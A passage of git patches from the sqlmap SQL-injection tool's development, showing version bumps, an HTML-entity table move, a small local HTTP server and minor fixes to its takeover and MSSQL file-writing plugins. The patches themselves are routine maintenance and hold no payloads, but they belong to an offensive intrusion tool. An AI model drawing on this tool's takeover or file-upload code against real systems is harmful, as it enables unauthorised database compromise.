"Acirc": 194, + "Atilde": 195, + "Auml": 196, + "Aring": 197, + "AElig": 198, + "Ccedil": 199, + "Egrave": 200, + "Eacute": 201, + "Ecirc": 202, + "Euml": 203, + "Igrave": 204, + "Iacute": 205, + "Icirc": 206, + "Iuml": 207, + "ETH": 208, + "Ntilde": 209, + "Ograve": 210, + "Oacute": 211, + "Ocirc": 212, + "Otilde": 213, + "Ouml": 214, + "times": 215, + "Oslash": 216, + "Ugrave": 217, + "Uacute": 218, + "Ucirc": 219, + "Uuml": 220, + "Yacute": 221, + "THORN": 222, + "szlig": 223, + "agrave": 224, + "aacute": 225, + "acirc": 226, + "atilde": 227, + "auml": 228, + "aring": 229, + "aelig": 230, + "ccedil": 231, + "egrave": 232, + "eacute": 233, + "ecirc": 234, + "euml": 235, + "igrave": 236, + "iacute": 237, + "icirc": 238, + "iuml": 239, + "eth": 240, + "ntilde": 241, + "ograve": 242, + "oacute": 243, + "ocirc": 244, + "otilde": 245, + "ouml": 246, + "divide": 247, + "oslash": 248, + "ugrave": 249, + "uacute": 250, + "ucirc": 251, + "uuml": 252, + "yacute": 253, + "thorn": 254, + "yuml": 255, + "OElig": 338, + "oelig": 339, + "Scaron": 352, + "fnof": 402, + "scaron": 353, + "Yuml": 376, + "circ": 710, + "tilde": 732, + "Alpha": 913, + "Beta": 914, + "Gamma": 915, + "Delta": 916, + "Epsilon": 917, + "Zeta": 918, + "Eta": 919, + "Theta": 920, + "Iota": 921, + "Kappa": 922, + "Lambda": 923, + "Mu": 924, + "Nu": 925, + "Xi": 926, + "Omicron": 927, + "Pi": 928, + "Rho": 929, + "Sigma": 931, + "Tau": 932, + "Upsilon": 933, + "Phi": 934, + "Chi": 935, + "Psi": 936, + "Omega": 937, + "alpha": 945, + "beta": 946, + "gamma": 947, + "delta": 948, + "epsilon": 949, + "zeta": 950, + "eta": 951, + "theta": 952, + "iota": 953, + "kappa": 954, + "lambda": 955, + "mu": 956, + "nu": 957, + "xi": 958, + "omicron": 959, + "pi": 960, + "rho": 961, + "sigmaf": 962, + "sigma": 963, + "tau": 964, + "upsilon": 965, + "phi": 966, + "chi": 967, + "psi": 968, + "omega": 969, + "thetasym": 977, + "upsih": 978, + "piv": 982, + "bull": 8226, + "hellip": 8230, + "prime": 8242, + "Prime": 8243, + "oline": 8254, + "frasl": 8260, + "ensp": 8194, + "emsp": 8195, + "thinsp": 8201, + "zwnj": 8204, + "zwj": 8205, + "lrm": 8206, + "rlm": 8207, + "ndash": 8211, + "mdash": 8212, + "lsquo": 8216, + "rsquo": 8217, + "sbquo": 8218, + "ldquo": 8220, + "rdquo": 8221, + "bdquo": 8222, + "dagger": 8224, + "Dagger": 8225, + "permil": 8240, + "lsaquo": 8249, + "rsaquo": 8250, + "euro": 8364, + "weierp": 8472, + "image": 8465, + "real": 8476, + "trade": 8482, + "alefsym": 8501, + "larr": 8592, + "uarr": 8593, + "rarr": 8594, + "darr": 8595, + "harr": 8596, + "crarr": 8629, + "lArr": 8656, + "uArr": 8657, + "rArr": 8658, + "dArr": 8659, + "hArr": 8660, + "forall": 8704, + "part": 8706, + "exist": 8707, + "empty": 8709, + "nabla": 8711, + "isin": 8712, + "notin": 8713, + "ni": 8715, + "prod": 8719, + "sum": 8721, + "minus": 8722, + "lowast": 8727, + "radic": 8730, + "prop": 8733, + "infin": 8734, + "ang": 8736, + "and": 8743, + "or": 8744, + "cap": 8745, + "cup": 8746, + "int": 8747, + "there4": 8756, + "sim": 8764, + "cong": 8773, + "asymp": 8776, + "ne": 8800, + "equiv": 8801, + "le": 8804, + "ge": 8805, + "sub": 8834, + "sup": 8835, + "nsub": 8836, + "sube": 8838, + "supe": 8839, + "oplus": 8853, + "otimes": 8855, + "perp": 8869, + "sdot": 8901, + "lceil": 8968, + "rceil": 8969, + "lfloor": 8970, + "rfloor": 8971, + "lang": 9001, + "rang": 9002, + "loz": 9674, + "spades": 9824, + "clubs": 9827, + "hearts": 9829, + "diams": 9830 +} diff --git a/lib/core/settings.py b/lib/core/settings.py index 82575e1d249..6cf837db927 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.2" +VERSION = "1.3.7.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 89ded46ff2c..1b4d5b04872 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -18,7 +18,9 @@ class Wordlist(six.Iterator): Iterator for looping over a large dictionaries >>> from lib.core.option import paths - >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.string_types) + >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.binary_type) + True + >>> isinstance(next(Wordlist(paths.WORDLIST)), six.binary_type) True """ @@ -58,7 +60,7 @@ def adjust(self): raise SqlmapDataException(errMsg) self.fp = _.open(_.namelist()[0]) else: - self.fp = open(self.current, 'r') + self.fp = open(self.current, "rb") self.iter = iter(self.fp) self.index += 1 diff --git a/lib/request/basic.py b/lib/request/basic.py index 0ea5614b850..34a9d55f34c 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -34,6 +34,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import cachedmethod +from lib.core.dicts import HTML_ENTITIES from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE @@ -49,7 +50,6 @@ from lib.core.settings import VIEWSTATE_REGEX from lib.parse.headers import headersParser from lib.parse.html import htmlParser -from lib.utils.htmlentities import htmlEntities from thirdparty import six from thirdparty.chardet import detect from thirdparty.identywaf import identYwaf @@ -341,7 +341,7 @@ def decodePage(page, contentEncoding, contentType): page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page) # e.g. & - page = re.sub(b"&([^;]+);", lambda _: six.int2byte(htmlEntities[getText(_.group(1))]) if htmlEntities.get(getText(_.group(1)), 256) < 256 else _.group(0), page) + page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page) kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) @@ -364,7 +364,7 @@ def _(match): page = re.sub(r"&#(\d+);", _, page) # e.g. ζ - page = re.sub(r"&([^;]+);", lambda _: _unichr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 0) > 255 else _.group(0), page) + page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page) return page diff --git a/lib/utils/htmlentities.py b/lib/utils/htmlentities.py deleted file mode 100644 index a97320ec098..00000000000 --- a/lib/utils/htmlentities.py +++ /dev/null @@ -1,263 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html - -htmlEntities = { - "quot": 34, - "amp": 38, - "lt": 60, - "gt": 62, - "nbsp": 160, - "iexcl": 161, - "cent": 162, - "pound": 163, - "curren": 164, - "yen": 165, - "brvbar": 166, - "sect": 167, - "uml": 168, - "copy": 169, - "ordf": 170, - "laquo": 171, - "not": 172, - "shy": 173, - "reg": 174, - "macr": 175, - "deg": 176, - "plusmn": 177, - "sup2": 178, - "sup3": 179, - "acute": 180, - "micro": 181, - "para": 182, - "middot": 183, - "cedil": 184, - "sup1": 185, - "ordm": 186, - "raquo": 187, - "frac14": 188, - "frac12": 189, - "frac34": 190, - "iquest": 191, - "Agrave": 192, - "Aacute": 193, - "Acirc": 194, - "Atilde": 195, - "Auml": 196, - "Aring": 197, - "AElig": 198, - "Ccedil": 199, - "Egrave": 200, - "Eacute": 201, - "Ecirc": 202, - "Euml": 203, - "Igrave": 204, - "Iacute": 205, - "Icirc": 206, - "Iuml": 207, - "ETH": 208, - "Ntilde": 209, - "Ograve": 210, - "Oacute": 211, - "Ocirc": 212, - "Otilde": 213, - "Ouml": 214, - "times": 215, - "Oslash": 216, - "Ugrave": 217, - "Uacute": 218, - "Ucirc": 219, - "Uuml": 220, - "Yacute": 221, - "THORN": 222, - "szlig": 223, - "agrave": 224, - "aacute": 225, - "acirc": 226, - "atilde": 227, - "auml": 228, - "aring": 229, - "aelig": 230, - "ccedil": 231, - "egrave": 232, - "eacute": 233, - "ecirc": 234, - "euml": 235, - "igrave": 236, - "iacute": 237, - "icirc": 238, - "iuml": 239, - "eth": 240, - "ntilde": 241, - "ograve": 242, - "oacute": 243, - "ocirc": 244, - "otilde": 245, - "ouml": 246, - "divide": 247, - "oslash": 248, - "ugrave": 249, - "uacute": 250, - "ucirc": 251, - "uuml": 252, - "yacute": 253, - "thorn": 254, - "yuml": 255, - "OElig": 338, - "oelig": 339, - "Scaron": 352, - "fnof": 402, - "scaron": 353, - "Yuml": 376, - "circ": 710, - "tilde": 732, - "Alpha": 913, - "Beta": 914, - "Gamma": 915, - "Delta": 916, - "Epsilon": 917, - "Zeta": 918, - "Eta": 919, - "Theta": 920, - "Iota": 921, - "Kappa": 922, - "Lambda": 923, - "Mu": 924, - "Nu": 925, - "Xi": 926, - "Omicron": 927, - "Pi": 928, - "Rho": 929, - "Sigma": 931, - "Tau": 932, - "Upsilon": 933, - "Phi": 934, - "Chi": 935, - "Psi": 936, - "Omega": 937, - "alpha": 945, - "beta": 946, - "gamma": 947, - "delta": 948, - "epsilon": 949, - "zeta": 950, - "eta": 951, - "theta": 952, - "iota": 953, - "kappa": 954, - "lambda": 955, - "mu": 956, - "nu": 957, - "xi": 958, - "omicron": 959, - "pi": 960, - "rho": 961, - "sigmaf": 962, - "sigma": 963, - "tau": 964, - "upsilon": 965, - "phi": 966, - "chi": 967, - "psi": 968, - "omega": 969, - "thetasym": 977, - "upsih": 978, - "piv": 982, - "bull": 8226, - "hellip": 8230, - "prime": 8242, - "Prime": 8243, - "oline": 8254, - "frasl": 8260, - "ensp": 8194, - "emsp": 8195, - "thinsp": 8201, - "zwnj": 8204, - "zwj": 8205, - "lrm": 8206, - "rlm": 8207, - "ndash": 8211, - "mdash": 8212, - "lsquo": 8216, - "rsquo": 8217, - "sbquo": 8218, - "ldquo": 8220, - "rdquo": 8221, - "bdquo": 8222, - "dagger": 8224, - "Dagger": 8225, - "permil": 8240, - "lsaquo": 8249, - "rsaquo": 8250, - "euro": 8364, - "weierp": 8472, - "image": 8465, - "real": 8476, - "trade": 8482, - "alefsym": 8501, - "larr": 8592, - "uarr": 8593, - "rarr": 8594, - "darr": 8595, - "harr": 8596, - "crarr": 8629, - "lArr": 8656, - "uArr": 8657, - "rArr": 8658, - "dArr": 8659, - "hArr": 8660, - "forall": 8704, - "part": 8706, - "exist": 8707, - "empty": 8709, - "nabla": 8711, - "isin": 8712, - "notin": 8713, - "ni": 8715, - "prod": 8719, - "sum": 8721, - "minus": 8722, - "lowast": 8727, - "radic": 8730, - "prop": 8733, - "infin": 8734, - "ang": 8736, - "and": 8743, - "or": 8744, - "cap": 8745, - "cup": 8746, - "int": 8747, - "there4": 8756, - "sim": 8764, - "cong": 8773, - "asymp": 8776, - "ne": 8800, - "equiv": 8801, - "le": 8804, - "ge": 8805, - "sub": 8834, - "sup": 8835, - "nsub": 8836, - "sube": 8838, - "supe": 8839, - "oplus": 8853, - "otimes": 8855, - "perp": 8869, - "sdot": 8901, - "lceil": 8968, - "rceil": 8969, - "lfloor": 8970, - "rfloor": 8971, - "lang": 9001, - "rang": 9002, - "loz": 9674, - "spades": 9824, - "clubs": 9827, - "hearts": 9829, - "diams": 9830, -} From 3676cef79b5a06cb0e8a7a7c3c7bdaf3e7cd9398 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Jul 2019 16:30:18 +0200 Subject: [PATCH 499/800] Preparing for something something --- data/html/index.html | 11 ++++ lib/core/settings.py | 2 +- lib/utils/httpd.py | 141 +++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 153 insertions(+), 1 deletion(-) create mode 100644 data/html/index.html create mode 100644 lib/utils/httpd.py diff --git a/data/html/index.html b/data/html/index.html new file mode 100644 index 00000000000..a9a6aeb899e --- /dev/null +++ b/data/html/index.html @@ -0,0 +1,11 @@ + + + + + + Hello World! + + +

Hello World!

+ + diff --git a/lib/core/settings.py b/lib/core/settings.py index 6cf837db927..8472d97c645 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.3" +VERSION = "1.3.7.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py new file mode 100644 index 00000000000..6aeaffba0ac --- /dev/null +++ b/lib/utils/httpd.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from __future__ import print_function + +import mimetypes +import gzip +import os +import re +import sys +import threading +import time +import traceback + +sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))) + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import UNICODE_ENCODING +from lib.core.settings import VERSION_STRING +from thirdparty import six +from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import socketserver as _socketserver +from thirdparty.six.moves import urllib as _urllib + +HTTP_ADDRESS = "0.0.0.0" +HTTP_PORT = 8951 +DEBUG = True +HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html")) +DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~") + +class ThreadingServer(_socketserver.ThreadingMixIn, _BaseHTTPServer.HTTPServer): + def finish_request(self, *args, **kwargs): + try: + _BaseHTTPServer.HTTPServer.finish_request(self, *args, **kwargs) + except Exception: + if DEBUG: + traceback.print_exc() + +class ReqHandler(_BaseHTTPServer.BaseHTTPRequestHandler): + def do_GET(self): + path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") + params = {} + content = None + + if query: + params.update(_urllib.parse.parse_qs(query)) + + for key in params: + if params[key]: + params[key] = params[key][-1] + + self.url, self.params = path, params + + if path == '/': + path = "index.html" + + path = path.strip('/') + + path = path.replace('/', os.path.sep) + path = os.path.abspath(os.path.join(HTML_DIR, path)).strip() + + if not os.path.isfile(path) and os.path.isfile("%s.html" % path): + path = "%s.html" % path + + if ".." not in os.path.relpath(path, HTML_DIR) and os.path.isfile(path) and not path.endswith(DISABLED_CONTENT_EXTENSIONS): + content = open(path, "rb").read() + self.send_response(_http_client.OK) + self.send_header(HTTP_HEADER.CONNECTION, "close") + self.send_header(HTTP_HEADER.CONTENT_TYPE, mimetypes.guess_type(path)[0] or "application/octet-stream") + else: + content = ("404 Not Found

Not Found

The requested URL %s was not found on this server.

" % self.path.split('?')[0]).encode(UNICODE_ENCODING) + self.send_response(_http_client.NOT_FOUND) + self.send_header(HTTP_HEADER.CONNECTION, "close") + + if content is not None: + for match in re.finditer(b"<\!(\w+)\!>", content): + name = match.group(1) + _ = getattr(self, "_%s" % name.lower(), None) + if _: + content = self._format(content, **{ name: _() }) + + if "gzip" in self.headers.get(HTTP_HEADER.ACCEPT_ENCODING): + self.send_header(HTTP_HEADER.CONTENT_ENCODING, "gzip") + _ = six.BytesIO() + compress = gzip.GzipFile("", "w+b", 9, _) + compress._stream = _ + compress.write(content) + compress.flush() + compress.close() + content = compress._stream.getvalue() + + self.send_header(HTTP_HEADER.CONTENT_LENGTH, str(len(content))) + + self.end_headers() + + if content: + self.wfile.write(content) + + self.wfile.flush() + + def _format(self, content, **params): + if content: + for key, value in params.items(): + content = content.replace("" % key, value) + + return content + + def version_string(self): + return VERSION_STRING + + def log_message(self, format, *args): + return + + def finish(self): + try: + _BaseHTTPServer.BaseHTTPRequestHandler.finish(self) + except Exception: + if DEBUG: + traceback.print_exc() + +def start_httpd(): + server = ThreadingServer((HTTP_ADDRESS, HTTP_PORT), ReqHandler) + thread = threading.Thread(target=server.serve_forever) + thread.daemon = True + thread.start() + + print("[i] running HTTP server at '%s:%d'" % (HTTP_ADDRESS, HTTP_PORT)) + +if __name__ == "__main__": + try: + start_httpd() + + while True: + time.sleep(1) + except KeyboardInterrupt: + pass From f9489c3352e636f4e74b7cfd34ebd2b9374d338c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 4 Jul 2019 11:07:25 +0200 Subject: [PATCH 500/800] Minor patch (fixes #3795) --- lib/core/common.py | 2 +- lib/core/dump.py | 1 + lib/core/settings.py | 2 +- plugins/generic/takeover.py | 3 ++- 4 files changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 608e2d1f3ad..da4d0c8a07f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3762,7 +3762,7 @@ def createGithubIssue(errMsg, excMsg): logger.info(infoMsg) try: - with open(paths.GITHUB_HISTORY, "a+b") as f: + with openFile(paths.GITHUB_HISTORY, "a+b") as f: f.write("%s\n" % key) except: pass diff --git a/lib/core/dump.py b/lib/core/dump.py index 3fd31b1fbdd..d49970a5f4a 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -620,6 +620,7 @@ def dbTableValues(self, tableValues): with open(filepath, "wb") as f: _ = safechardecode(value, True) f.write(_) + except magic.MagicException as ex: logger.debug(getSafeExString(ex)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8472d97c645..f3ca6232c62 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.4" +VERSION = "1.3.7.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 6a235efb663..8cc6f51702a 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -10,6 +10,7 @@ from lib.core.common import Backend from lib.core.common import getSafeExString from lib.core.common import isStackingAvailable +from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import runningAsAdmin from lib.core.data import conf @@ -137,7 +138,7 @@ def osPwn(self): if os.path.exists(filename): try: - with open(filename, "wb") as f: + with openFile(filename, "wb") as f: f.write("1") except IOError as ex: errMsg = "there has been a file opening/writing error " From 83e1daab9603c248bb6a10eb9d1640c1848d14f5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 4 Jul 2019 11:18:55 +0200 Subject: [PATCH 501/800] Fixes #3796 --- lib/core/convert.py | 5 +++++ lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 224bc9aa0a7..746908a952a 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -164,8 +164,13 @@ def encodeHex(value, binary=True): True >>> encodeHex("123", binary=False) '313233' + >>> encodeHex(b"123"[0]) == b"31" + True """ + if isinstance(value, int): + value = six.unichr(value) + if isinstance(value, six.text_type): value = value.encode(UNICODE_ENCODING) diff --git a/lib/core/settings.py b/lib/core/settings.py index f3ca6232c62..ab1dcf1fc81 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.5" +VERSION = "1.3.7.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 3f99ec638fd58a7fc41c1141187e52dff5fb263b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 4 Jul 2019 12:03:26 +0200 Subject: [PATCH 502/800] Minor update --- data/html/index.html | 159 ++++++++++++++++++++++++++++++++++++++++--- lib/core/settings.py | 2 +- 2 files changed, 150 insertions(+), 11 deletions(-) diff --git a/data/html/index.html b/data/html/index.html index a9a6aeb899e..a7f53972f5d 100644 --- a/data/html/index.html +++ b/data/html/index.html @@ -1,11 +1,150 @@ - - - - - - Hello World! - - -

Hello World!

- + + + + + + + + + + + + + + + + +
+ + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index ab1dcf1fc81..dba61f55a35 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.6" +VERSION = "1.3.7.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d0c48df62c5f436ed7601d44a43b15354b2c92ae Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 7 Jul 2019 15:56:54 +0200 Subject: [PATCH 503/800] Fixes #3801 --- lib/core/revision.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/revision.py b/lib/core/revision.py index f0d682e398f..dffae987c87 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -38,7 +38,7 @@ def getRevisionNumber(): while True: if filePath and os.path.isfile(filePath): with openFile(filePath, "r") as f: - content = f.read() + content = getText(f.read()) filePath = None if content.startswith("ref: "): filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() diff --git a/lib/core/settings.py b/lib/core/settings.py index dba61f55a35..932f2867163 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.7" +VERSION = "1.3.7.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b4c00f41724fdabc223f61842af433719fe311ce Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 7 Jul 2019 16:17:24 +0200 Subject: [PATCH 504/800] Update regarding #3802 --- .travis.yml | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 704077d17cd..12dca26ba81 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,4 +1,5 @@ language: python +dist: trusty sudo: false git: depth: 1 @@ -10,4 +11,4 @@ python: script: - python -c "import sqlmap; import sqlmapapi" - python sqlmap.py --smoke - - python sqlmap.py --vuln \ No newline at end of file + - python sqlmap.py --vuln diff --git a/lib/core/settings.py b/lib/core/settings.py index 932f2867163..011af670d1a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.8" +VERSION = "1.3.7.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 40bc53537c390b7b3ca6ba2e0bb648f778899327 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 8 Jul 2019 11:53:19 +0200 Subject: [PATCH 505/800] Fixes #3806 --- lib/core/settings.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 011af670d1a..b5c6595874f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.9" +VERSION = "1.3.7.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 640b1ddf720..5fe0301d91b 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -52,7 +52,7 @@ def _dataToScr(self, fileContent, chunkName): else: scrString += " %s" % strLineChar - lineAddr += len(lineChar) + lineAddr += len(strLineChar) // 2 fileLines.append(scrString) From f85abafd79b6c060ade3451e39f149a49d095d9a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 8 Jul 2019 11:55:04 +0200 Subject: [PATCH 506/800] Patch for #3805 --- lib/core/settings.py | 2 +- sqlmap.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b5c6595874f..4100298cf47 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.10" +VERSION = "1.3.7.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 634f89a5146..e5dba8b7a87 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -238,7 +238,7 @@ def main(): dataToStdout(excMsg) raise SystemExit - elif any(_ in excMsg for _ in ("ImportError", "Can't find file for module")): + elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")): errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit From 71b63c9262b8b6a8c1e3cf9e7542f19862043de1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 8 Jul 2019 12:25:16 +0200 Subject: [PATCH 507/800] Update regarding 3804 --- lib/core/settings.py | 2 +- lib/core/threads.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4100298cf47..9fdb4e5a56f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.11" +VERSION = "1.3.7.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 010534a00a6..b20fd7dbb36 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -99,7 +99,7 @@ def exceptionHandledFunction(threadFunction, silent=False): errMsg = ex.message if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, ex.message) logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) - if conf.get("verbose") > 1 and not isinstance(ex, (SqlmapUserQuitException,)): + if conf.get("verbose") > 1 and not isinstance(ex, (SqlmapUserQuitException, SqlmapConnectionException)): traceback.print_exc() def setDaemon(thread): From 090cbf75f14efbc7239ea5420e932b5bf3d61864 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 8 Jul 2019 13:48:13 +0200 Subject: [PATCH 508/800] Minor update for #3808 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 065c8c7fea6..3121bc45ce9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -522,7 +522,7 @@ def _setMetasploit(): errMsg = "sqlmap requires third-party module 'pywin32' " errMsg += "in order to use Metasploit functionalities on " errMsg += "Windows. You can download it from " - errMsg += 